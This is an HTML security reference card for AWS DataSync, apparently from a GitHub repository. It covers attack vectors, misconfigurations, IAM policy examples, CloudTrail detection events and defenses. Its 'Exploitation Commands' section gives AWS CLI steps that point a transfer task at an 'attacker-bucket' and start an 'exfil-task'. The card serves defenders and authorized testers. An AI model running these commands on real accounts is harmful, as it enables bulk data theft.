aws-security-cards/cards/html/datasync.html at main · TocConsulting/aws-security-cards · GitHub

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<title>AWS DataSync Security | AWS Security Cards</title>
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</head>
<body>

<!-- Card Image -->
<div class="card-image">
  <img src="../images/datasync-card.webp" alt="AWS DataSync Security" />
</div>

<!-- Header -->
<div class="header">
  <div class="header-content">
    <div class="header-icon"><img src="../icons/datasync.svg" alt="AWS DataSync Security" /></div>
    <div>
      <div>
        <span class="header-title">AWS DataSync Security</span>
        <span class="header-badge">DATA TRANSFER</span>
      </div>
      <p class="header-desc">AWS DataSync moves large amounts of data between on-premises storage and AWS services. Security risks include task hijacking, destination redirection, and massive data exfiltration.</p>
    </div>
  </div>
</div>

<!-- Stats -->
<div class="stats-row">
        <div class="stat-card">
          <div class="stat-value" style="color: #f87171;">HIGH</div>
          <div class="stat-label">Risk Level</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #4ade80;">Regional</div>
          <div class="stat-label">Scope</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #60a5fa;">NFS/SMB/S3</div>
          <div class="stat-label">Protocols</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #c084fc;">10 Gbps</div>
          <div class="stat-label">Throughput</div>
        </div></div>

<!-- Overview -->
<div class="section"><h2><span style="color:#06b6d4;">&#x1F4CB;</span> Service Overview</h2><div class="overview-grid">
        <div>
          <h4 style="color: #06b6d4;">DataSync Agent</h4>
          <p>Agent deployed on-premises connects to NFS, SMB, HDFS, or object storage. Communicates with AWS over TLS. Agent credentials provide access to configure locations and tasks.</p>
          <div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Compromised agent credentials allow enumeration of on-premises storage infrastructure and file paths</div>
        </div>
        <div>
          <h4 style="color: #06b6d4;">Transfer Tasks</h4>
          <p>Tasks define source/destination locations and transfer options. Can move terabytes of data with filtering, scheduling, and verification. Runs in VPC or over internet.</p>
          <div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Modifying task destination enables massive data exfiltration to attacker-controlled storage</div>
        </div></div></div>

<!-- Risk Assessment -->

<div class="section">
  <h2>Security Risk Assessment</h2>
  <div class="risk-gauge">
    <div class="risk-bar-container">
      <div class="risk-bar">
        <div class="risk-bar-fill" style="width: 80%;"></div>
      </div>
      <div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
    </div>
    <div class="risk-score">
      <div class="risk-score-value">8.0</div>
      <div class="risk-score-label">Risk Score</div>
    </div>
  </div>
  <p class="risk-desc">DataSync is designed for bulk data movement - compromised tasks can exfiltrate terabytes of data at high speed. Source locations expose on-premises infrastructure. Agent compromise enables bidirectional data theft.</p>
</div>

<!-- Main Panels -->
<div class="panels-grid">
      <div class="panel" style="border-color: #f8717133;">
        <h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Task Manipulation</h4><ul><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Redirect destination to attacker S3</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Create new task for sensitive locations</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Modify filters to include all files</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Schedule recurring exfiltration</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Disable verification checks</li></ul><h4 style="color: #f87171;">Infrastructure Recon</h4><ul><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Enumerate source locations (NFS/SMB paths)</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Discover on-premises server hostnames</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Map file system structure</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Identify sensitive data paths</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Agent metadata exposure</li></ul></div>
      <div class="panel" style="border-color: #fb923c33;">
        <h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">IAM Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> datasync:* permissions too broad</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Can create tasks with any location</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Cross-account location access</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Missing resource conditions</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Task role with s3:* permissions</li></ul><h4 style="color: #fb923c;">Location Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> NFS export allows any host</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> SMB credentials in plain text</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> S3 bucket allows public write</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> No encryption in transit</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Agent in public subnet</li></ul></div>
      <div class="panel" style="border-color: #22d3ee33;">
        <h3 style="color: #22d3ee;">🔍 Enumeration</h3>
        <div class="cmd-block">
          <div class="cmd-title">List Agents</div>
          <pre><code>aws datasync list-agents</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Describe Agent</div>
          <pre><code>aws datasync describe-agent \\
  --agent-arn AGENT_ARN</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Locations</div>
          <pre><code>aws datasync list-locations</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Describe Location (reveals paths)</div>
          <pre><code>aws datasync describe-location-nfs \\
  --location-arn LOCATION_ARN</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Tasks</div>
          <pre><code>aws datasync list-tasks</code></pre>
        </div></div>
      <div class="panel" style="border-color: #c084fc33;">
        <h3 style="color: #c084fc;">📈 Privilege Escalation</h3><h4 style="color: #c084fc;">Task Role Abuse</h4><ul><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Task IAM role → S3 bucket access</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Task role → Cross-account assume</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Create task with privileged role</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Modify task to use different role</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Role trust policy manipulation</li></ul><h4 style="color: #c084fc;">Escalation Paths</h4><ul><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> ListLocations → On-prem paths → Sensitive data</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> CreateTask → Custom destination → Exfiltration</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Agent creds → Storage infrastructure → Data access</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Task role → S3/EFS → Application data</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Cross-account → Production data</li></ul></div>
      <div class="panel" style="border-color: #facc1533;">
        <h3 style="color: #facc15;">📊 Data Exposure</h3><h4 style="color: #facc15;">Location Details</h4><ul><li><span class="bullet" style="color: #facc15;">&#x2022;</span> On-premises NFS server hostnames</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> SMB share paths and credentials</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> S3 bucket names and prefixes</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> EFS file system IDs</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> FSx for Windows paths</li></ul><h4 style="color: #facc15;">Exfiltration Potential</h4><ul><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Terabytes in single task execution</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> 10 Gbps network throughput</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Full file system sync possible</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Incremental changes tracked</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> No per-file transfer limits</li></ul></div>
      <div class="panel" style="border-color: #4ade8033;">
        <h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> CreateTask - new task</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> StartTaskExecution - task started</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> UpdateTask - task modified</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> CreateLocationS3 - new S3 location</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> DescribeLocation* - recon activity</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> New tasks with external destinations</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Location enumeration patterns</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Tasks to unknown S3 buckets</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Unusual transfer volumes</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Agent activation from unknown IPs</li></ul></div></div>

<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">&#x1F4BB;</span> Exploitation Commands</h2><div class="cmd-grid">
        <div class="cmd-block">
          <div class="cmd-title">Create Attacker S3 Location</div>
          <pre><code>aws datasync create-location-s3 \\
  --s3-bucket-arn arn:aws:s3:::attacker-bucket \\
  --s3-config BucketAccessRoleArn=ROLE_ARN</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Create Exfil Task</div>
          <pre><code>aws datasync create-task \\
  --source-location-arn SOURCE_LOCATION \\
  --destination-location-arn ATTACKER_LOCATION \\
  --name exfil-task</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Start Task Execution</div>
          <pre><code>aws datasync start-task-execution \\
  --task-arn TASK_ARN</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Describe Location (get NFS path)</div>
          <pre><code>aws datasync describe-location-nfs \\
  --location-arn LOCATION_ARN \\
  --query 'LocationUri'</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Update Task Options</div>
          <pre><code>aws datasync update-task \\
  --task-arn TASK_ARN \\
  --options 'TransferMode=ALL,OverwriteMode=ALWAYS'</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Task Executions</div>
          <pre><code>aws datasync list-task-executions \\
  --task-arn TASK_ARN</code></pre>
        </div></div></div>

<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">&#x1F4DC;</span> Policy Examples</h2><div class="policy-grid">
        <div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
          <div class="policy-header">
            <span style="color: #f87171; font-size: 1.2em;">&#x2717;</span>
            <span style="color: #f87171; font-weight: 600;">Dangerous - Full Access</span>
          </div>
          <pre><code>{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: &quot;datasync:*&quot;,
  &quot;Resource&quot;: &quot;*&quot;
}</code></pre>
          <p class="policy-desc">Full DataSync access - can create tasks to exfil any location</p>
        </div>
        <div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
          <div class="policy-header">
            <span style="color: #4ade80; font-size: 1.2em;">&#x2713;</span>
            <span style="color: #4ade80; font-weight: 600;">Secure - Read Only Monitoring</span>
          </div>
          <pre><code>{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: [
    &quot;datasync:ListTasks&quot;,
    &quot;datasync:ListTaskExecutions&quot;,
    &quot;datasync:DescribeTask&quot;
  ],
  &quot;Resource&quot;: &quot;*&quot;
}</code></pre>
          <p class="policy-desc">Only monitor existing tasks - no creation or modification</p>
        </div>
        <div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
          <div class="policy-header">
            <span style="color: #f87171; font-size: 1.2em;">&#x2717;</span>
            <span style="color: #f87171; font-weight: 600;">Risky - Create Task Permission</span>
          </div>
          <pre><code>{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: [
    &quot;datasync:CreateTask&quot;,
    &quot;datasync:CreateLocation*&quot;,
    &quot;datasync:StartTaskExecution&quot;
  ],
  &quot;Resource&quot;: &quot;*&quot;
}</code></pre>
          <p class="policy-desc">Can create tasks with arbitrary destinations - exfiltration risk</p>
        </div>
        <div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
          <div class="policy-header">
            <span style="color: #4ade80; font-size: 1.2em;">&#x2713;</span>
            <span style="color: #4ade80; font-weight: 600;">Secure - Specific Tasks Only</span>
          </div>
          <pre><code>{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: &quot;datasync:StartTaskExecution&quot;,
  &quot;Resource&quot;: &quot;arn:aws:datasync:*:*:task/task-approved-*&quot;,
  &quot;Condition&quot;: {
    &quot;StringEquals&quot;: {&quot;aws:PrincipalTag/team&quot;: &quot;backup&quot;}
  }
}</code></pre>
          <p class="policy-desc">Only start pre-approved tasks by backup team</p>
        </div></div></div>

<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">&#x1F6E1;&#xFE0F;</span> Defense Recommendations</h2><div class="defense-grid">
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔐</span>
            <div>
              <h4>Restrict Task Creation</h4>
              <p>Use SCP/IAM to prevent CreateTask, CreateLocation* except by approved roles.</p>
              <pre><code>&quot;Effect&quot;: &quot;Deny&quot;, &quot;Action&quot;: &quot;datasync:Create*&quot;</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🛡️</span>
            <div>
              <h4>Location Allowlisting</h4>
              <p>Only allow tasks with pre-approved destination locations.</p>

            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">📊</span>
            <div>
              <h4>Monitor Transfer Volume</h4>
              <p>Alert on task executions with unusual data volumes or durations.</p>

            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔒</span>
            <div>
              <h4>VPC Endpoint</h4>
              <p>Use VPC endpoint to keep DataSync traffic within AWS network.</p>

            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🚫</span>
            <div>
              <h4>Deny Cross-Account</h4>
              <p>Prevent creation of locations pointing to external accounts.</p>

            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">📝</span>
            <div>
              <h4>CloudTrail Alerting</h4>
              <p>Alert on CreateTask, CreateLocation*, and StartTaskExecution events.</p>

            </div>
          </div>
        </div></div></div>

<!-- Footer -->
<div class="footer">
  <p>AWS DataSync Security Card</p>
  <p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>

</body>
</html>